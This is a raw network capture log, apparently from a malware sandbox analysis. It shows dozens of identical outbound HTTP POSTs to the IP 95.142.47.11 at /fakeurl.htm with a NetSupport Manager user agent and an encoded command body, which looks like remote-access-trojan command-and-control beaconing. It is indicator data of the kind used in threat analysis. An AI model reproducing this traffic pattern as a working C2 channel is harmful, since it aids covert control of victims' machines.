Dec 6, 2023 14:35:12.246855974 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.347197056 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.447932959 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.548862934 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.649122953 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.750257969 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.850075960 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:12.950860977 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.051104069 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.151915073 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.251894951 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.353141069 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.453912973 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.554857016 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.656363010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.756875992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:13.858356953 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.059130907 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.159823895 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.260082006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.360919952 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.460916042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.567034006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.667118073 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.766907930 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.867924929 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:14.967969894 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.068129063 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.168895006 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.269900084 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.369883060 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.469881058 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.570611954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.671904087 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.771981001 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.871845961 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:15.972029924 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.072932959 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.174040079 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.273858070 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.374988079 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.475886106 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.576028109 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.676892042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.777143002 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.877856016 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:16.978048086 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.078969955 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.179560900 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.280034065 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.380836010 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.481266975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.580910921 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.682177067 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.782299042 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.883023977 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:17.983036041 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.083870888 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.184880018 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.284857988 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.385843039 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.486031055 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.586883068 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.687993050 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.788937092 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.888791084 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:18.989073992 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.090207100 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.191160917 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.291876078 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.391880035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.491859913 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.592842102 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.693030119 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.794022083 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.894927979 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:19.995878935 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.096098900 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.196805954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.296824932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.396994114 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.498136044 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.597852945 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.697849035 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.797969103 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.897877932 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:20.997900963 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.098856926 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.199042082 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.298954964 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.399846077 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.499840975 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2023 14:35:21.600878954 CET	284	OUT	POST http://95.142.47.11/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 95.142.47.11Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
